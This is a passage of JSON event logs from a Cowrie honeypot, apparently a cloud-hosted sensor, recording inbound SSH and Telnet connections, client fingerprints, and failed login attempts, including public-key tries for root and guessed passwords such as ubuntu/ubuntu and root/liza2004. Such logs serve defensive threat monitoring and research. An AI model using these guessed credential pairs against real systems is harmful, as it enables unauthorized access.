com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:30.089246Z","src_ip":"107.174.90.23","session":"308d6f722ad7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:8f:b0:a9:17:a4:87:46:e0:96:36:47:c5:63:e4:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2wqJziheQ9A8k8I/78/XO3AnUlTaV46q0BDaFDwUOvOmjyWjG15iW2Yv+UGEn7Gxgu5/3WAvujDOllo5Bhr+I2jnt6dogeXWmkz6yX1lHz7hOAkila50dPm1PxY+fkcGbW6xY0nl32adDqPPwNrS+TU/VOXqcBFhOIRbhAu7BVq30JzWMKRuQQZXfrQ9T9F5PxhQc4838EiN6JVCEUnvXcP+mN/NZjg7b1tzuogH3RfXFT14s1PJJhMOzTRb81XCx/ojruqPolo62IKGu068McVeEUUmjD/kzalj4Zo95LrCpNiIopq0hzh0jz46EUwwDewZarzyehJReY+K5CiFD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:8f:b0:a9:17:a4:87:46:e0:96:36:47:c5:63:e4:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:30.451575Z","src_ip":"107.174.90.23","session":"308d6f722ad7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:8f:b0:a9:17:a4:87:46:e0:96:36:47:c5:63:e4:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2wqJziheQ9A8k8I/78/XO3AnUlTaV46q0BDaFDwUOvOmjyWjG15iW2Yv+UGEn7Gxgu5/3WAvujDOllo5Bhr+I2jnt6dogeXWmkz6yX1lHz7hOAkila50dPm1PxY+fkcGbW6xY0nl32adDqPPwNrS+TU/VOXqcBFhOIRbhAu7BVq30JzWMKRuQQZXfrQ9T9F5PxhQc4838EiN6JVCEUnvXcP+mN/NZjg7b1tzuogH3RfXFT14s1PJJhMOzTRb81XCx/ojruqPolo62IKGu068McVeEUUmjD/kzalj4Zo95LrCpNiIopq0hzh0jz46EUwwDewZarzyehJReY+K5CiFD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:30.456613Z","src_ip":"107.174.90.23","session":"308d6f722ad7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:8c:83:3b:0e:dd:80:9b:11:81:44:70:ca:61:65:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGZPPKTn++DaavV68b4sc57c6vgac1w/R1HDMVnn48xWR38PcmkeLGVcgOf9bE2wLAka0o7prD3ghNA8avU0emVVzznMWwjEEpWJzfRYloKv50hjjcI5Ic+nMEapE/EWJSvHb+OIORvf2O4i5U+MWzcDOfj2MWL2loxTLi7wlSMT0/kXR69/wnliZQOaZdQgwGnire/HKjPutoTFMXij/cXfTt63cyRag1xqImZSke3GMZWLmtOeG7uzuh95Rueq2r0Y+oHUJsJNB/B5gm+4KqeeN5wPCHocnd7Mgus7W2HsgJRWuPmb1Y22warqaVrgd4MyzWw9JfhEg4N+J27JFl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:8c:83:3b:0e:dd:80:9b:11:81:44:70:ca:61:65:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:30.532385Z","src_ip":"107.174.90.23","session":"308d6f722ad7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:8c:83:3b:0e:dd:80:9b:11:81:44:70:ca:61:65:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGZPPKTn++DaavV68b4sc57c6vgac1w/R1HDMVnn48xWR38PcmkeLGVcgOf9bE2wLAka0o7prD3ghNA8avU0emVVzznMWwjEEpWJzfRYloKv50hjjcI5Ic+nMEapE/EWJSvHb+OIORvf2O4i5U+MWzcDOfj2MWL2loxTLi7wlSMT0/kXR69/wnliZQOaZdQgwGnire/HKjPutoTFMXij/cXfTt63cyRag1xqImZSke3GMZWLmtOeG7uzuh95Rueq2r0Y+oHUJsJNB/B5gm+4KqeeN5wPCHocnd7Mgus7W2HsgJRWuPmb1Y22warqaVrgd4MyzWw9JfhEg4N+J27JFl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:30.541271Z","src_ip":"107.174.90.23","session":"308d6f722ad7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:f9:7b:17:f9:0e:e4:21:f9:ad:00:df:db:93:fb:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChTAQG5qKilWhJRlRbgR47cKiWAM/lafGMax8pB8MGqhwMUKDjObdAujxJSnxA1Z+nqWNYpryf9Dqd03IDKx0pFky+NSWDGVJvlznbxrdYqHStAEAa55bDShs7SZfZ+hLC1vbvqOX415EOvcPw6zygCW/80oM4uSgi3QMxOlkO8mtb60/nHDlwSa2DStNXLqpxxU05cmUSTtcP5PFhVww5gjmc50Li/TrnGmruLPqmfy4oHH6X4wNxwgo8Dp9Hys/imn/Rw/FWvxqc0dbWyrwk+dbRaBy3AQdq1Lz2Oj50dEkuJF0XB3+bkLNNHyHvXSKEsGc+ertz9LIu8THMct/L","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:f9:7b:17:f9:0e:e4:21:f9:ad:00:df:db:93:fb:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:30.616343Z","src_ip":"107.174.90.23","session":"308d6f722ad7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:f9:7b:17:f9:0e:e4:21:f9:ad:00:df:db:93:fb:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChTAQG5qKilWhJRlRbgR47cKiWAM/lafGMax8pB8MGqhwMUKDjObdAujxJSnxA1Z+nqWNYpryf9Dqd03IDKx0pFky+NSWDGVJvlznbxrdYqHStAEAa55bDShs7SZfZ+hLC1vbvqOX415EOvcPw6zygCW/80oM4uSgi3QMxOlkO8mtb60/nHDlwSa2DStNXLqpxxU05cmUSTtcP5PFhVww5gjmc50Li/TrnGmruLPqmfy4oHH6X4wNxwgo8Dp9Hys/imn/Rw/FWvxqc0dbWyrwk+dbRaBy3AQdq1Lz2Oj50dEkuJF0XB3+bkLNNHyHvXSKEsGc+ertz9LIu8THMct/L","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:30.621414Z","src_ip":"107.174.90.23","session":"308d6f722ad7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:6f:7b:43:1b:88:f3:2b:b7:7b:31:3a:86:ae:60:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCey/tzeX5+Z2JxIo78hII93FJXkW92xCxT5NhC2n//KrhLrYx7z4WEj45tsiCNtcBzSiQIKFZG6cPY5F6bnqKBZWUvMfIuKguOCt0lkIqVCZu3wIB9EqPiWe3ORMofhMCOMeStovilfHwEN5Jr7HwqYvVtyjfRxN4ImkSysqOJYqwvcE2pmja0TqUdXZw4LieSYI9M3dL86+lR0twNJh+oCT6H/fkE0KdqC2mjWaUvRGCBp4FBRiQru6h6KpShmYXRMgMD3hEGb0Qv/tri7px7lwK77D50ib/4+nzrZFi0o5wXLu0hTy5JwXIVqGQQ4HEI5El64qZ8awFCzw5yfMHJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint de:6f:7b:43:1b:88:f3:2b:b7:7b:31:3a:86:ae:60:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:30.699228Z","src_ip":"107.174.90.23","session":"308d6f722ad7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:6f:7b:43:1b:88:f3:2b:b7:7b:31:3a:86:ae:60:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCey/tzeX5+Z2JxIo78hII93FJXkW92xCxT5NhC2n//KrhLrYx7z4WEj45tsiCNtcBzSiQIKFZG6cPY5F6bnqKBZWUvMfIuKguOCt0lkIqVCZu3wIB9EqPiWe3ORMofhMCOMeStovilfHwEN5Jr7HwqYvVtyjfRxN4ImkSysqOJYqwvcE2pmja0TqUdXZw4LieSYI9M3dL86+lR0twNJh+oCT6H/fkE0KdqC2mjWaUvRGCBp4FBRiQru6h6KpShmYXRMgMD3hEGb0Qv/tri7px7lwK77D50ib/4+nzrZFi0o5wXLu0hTy5JwXIVqGQQ4HEI5El64qZ8awFCzw5yfMHJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:30.704097Z","src_ip":"107.174.90.23","session":"308d6f722ad7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:85:38:8c:d4:3d:a2:f3:07:d2:b1:c8:39:c6:6a:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApLFk4W6BinFmUWOcVlIS7q+9a9im5mkWBKcSqpM2WZW9OlKFhR1quSy25kC+MNgVSD7YoQpLr9Bv7Mz7igf781caVwye5KcZsWoRPBQxgq+Og3QdWeUKna1JHWy3X5kQaYisUvdr3VpSNBGRlFLLfBZ6hGXLHuBr54xqgPSzxATKNMFLyZduKpm/dL/F8L6hxOMaH0IH7+Rqfz6YxDiICJi/6YRaGu8VCQACv3oc6aBKZKlrrQdURPKfrIAct41KatsgGGQKE1yjIzqWYgX8t+sbCXVuy9UymhIXfJa4vrNxK53Xbqh7XtdDqXv4nvwK7d79gKrEg+1R1kJZSyNytw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:85:38:8c:d4:3d:a2:f3:07:d2:b1:c8:39:c6:6a:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:30.781333Z","src_ip":"107.174.90.23","session":"308d6f722ad7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:85:38:8c:d4:3d:a2:f3:07:d2:b1:c8:39:c6:6a:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApLFk4W6BinFmUWOcVlIS7q+9a9im5mkWBKcSqpM2WZW9OlKFhR1quSy25kC+MNgVSD7YoQpLr9Bv7Mz7igf781caVwye5KcZsWoRPBQxgq+Og3QdWeUKna1JHWy3X5kQaYisUvdr3VpSNBGRlFLLfBZ6hGXLHuBr54xqgPSzxATKNMFLyZduKpm/dL/F8L6hxOMaH0IH7+Rqfz6YxDiICJi/6YRaGu8VCQACv3oc6aBKZKlrrQdURPKfrIAct41KatsgGGQKE1yjIzqWYgX8t+sbCXVuy9UymhIXfJa4vrNxK53Xbqh7XtdDqXv4nvwK7d79gKrEg+1R1kJZSyNytw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:30.786010Z","src_ip":"107.174.90.23","session":"308d6f722ad7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:30.865507Z","src_ip":"107.174.90.23","session":"308d6f722ad7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.78698205947876,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:33.789274Z","src_ip":"135.148.14.151","session":"b90e1c25fd11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01293182373047,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:44.640227Z","src_ip":"105.209.159.189","session":"f7bd3be32666","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01278924942017,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:44.644434Z","src_ip":"105.209.159.189","session":"c5db7120434a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43856,"dst_ip":"159.203.135.109","dst_port":23,"session":"60c2e91a222e","protocol":"telnet","message":"New connection: 135.148.14.151:43856 (159.203.135.109:23) [session: 60c2e91a222e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:51.242785Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":46794,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7ddc9470c7f","protocol":"ssh","message":"New connection: 80.94.92.171:46794 (159.203.135.109:22) [session: f7ddc9470c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:54.762091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:54.842924Z","src_ip":"80.94.92.171","session":"f7ddc9470c7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:54.938903Z","src_ip":"80.94.92.171","session":"f7ddc9470c7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:56.268088Z","src_ip":"80.94.92.171","session":"f7ddc9470c7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48718,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddc65fca3ca8","protocol":"telnet","message":"New connection: 135.148.14.151:48718 (159.203.135.109:23) [session: ddc65fca3ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:57.587183Z"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:58.260858Z","src_ip":"80.94.92.171","session":"f7ddc9470c7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.95146298408508,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:48:03.768412Z","src_ip":"135.148.14.151","session":"c2d52d8c44db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"105.209.159.189","src_port":45074,"dst_ip":"10.17.0.5","dst_port":23,"session":"a12e9fa52f74","protocol":"telnet","message":"New connection: 105.209.159.189:45074 (10.17.0.5:23) [session: a12e9fa52f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:48:07.614749Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.209.159.189","src_port":45114,"dst_ip":"10.17.0.5","dst_port":23,"session":"9125c9a0af15","protocol":"telnet","message":"New connection: 105.209.159.189:45114 (10.17.0.5:23) [session: 9125c9a0af15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:48:07.665950Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.209.159.189","src_port":45362,"dst_ip":"10.17.0.5","dst_port":23,"session":"dda504dc9668","protocol":"telnet","message":"New connection: 105.209.159.189:45362 (10.17.0.5:23) [session: dda504dc9668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:48:13.420906Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.209.159.189","src_port":45438,"dst_ip":"10.17.0.5","dst_port":23,"session":"81e797c104fc","protocol":"telnet","message":"New connection: 105.209.159.189:45438 (10.17.0.5:23) [session: 81e797c104fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:48:14.060510Z"}
{"eventid":"cowrie.session.closed","duration":33.33250880241394,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:48:24.575152Z","src_ip":"135.148.14.151","session":"60c2e91a222e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.720523595809937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:48:29.307660Z","src_ip":"135.148.14.151","session":"ddc65fca3ca8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":44722,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8354dc45ea9","protocol":"ssh","message":"New connection: 147.45.199.80:44722 (159.203.135.109:22) [session: e8354dc45ea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:48:41.904306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:48:41.912391Z","src_ip":"147.45.199.80","session":"e8354dc45ea9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:48:42.073320Z","src_ip":"147.45.199.80","session":"e8354dc45ea9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"liza2004","message":"login attempt [root/liza2004] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:48:42.575095Z","src_ip":"147.45.199.80","session":"e8354dc45ea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:48:43.742000Z","src_ip":"147.45.199.80","session":"e8354dc45ea9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41718,"dst_ip":"159.203.135.109","dst_port":23,"session":"e63e6e9ffb9d","protocol":"telnet","message":"New connection: 135.148.14.151:41718 (159.203.135.109:23) [session: e63e6e9ffb9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:48:50.252285Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.210.202.27","src_port":45558,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bf1e4b47ed3","protocol":"telnet","message":"New connection: 38.210.202.27:45558 (159.203.135.109:23) [session: 6bf1e4b47ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:48:50.611095Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48770,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcab689ea171","protocol":"telnet","message":"New connection: 135.148.14.151:48770 (159.203.135.109:23) [session: fcab689ea171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:48:59.360972Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.62.239.90","src_port":42996,"dst_ip":"10.17.0.5","dst_port":22,"session":"96a5376d40f2","protocol":"ssh","message":"New connection: 46.62.239.90:42996 (10.17.0.5:22) [session: 96a5376d40f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:17.650417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:17.656027Z","src_ip":"46.62.239.90","session":"96a5376d40f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:49:17.766572Z","src_ip":"46.62.239.90","session":"96a5376d40f2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:5d:f6:bb:9c:c1:80:7f:8f:e4:71:a3:29:9a:db:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2V/I7t2wIFUXGoGMQ/JVZuSrXN7fgcHbcTLttAxrHaEORIXem2BRa6gxGxwS64yk/emXXdzglkxvXhI1sXVa0T/0L3RORZKFD91igDJMXfkHN19VqLms70zFON064SaICLlCijnZeFGwwQ6EhWf5TSInFMvg4u0RKOs5og5rnV4jS+IfANfcUyARqrinJH2CDqBu9rJdOuRxW7kUC3qhQyCO3SiQ5Eu/1HfKFANAWvLoWS75kpwNhEXWxksEgFHSV1g646qGP1efbcurirPCjO0JUQFN+7dne82tIqDbdPnyM5eOxIR5Ti8VTwY0YKnCvyN/Sv5VZhNfJZpO34HAt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 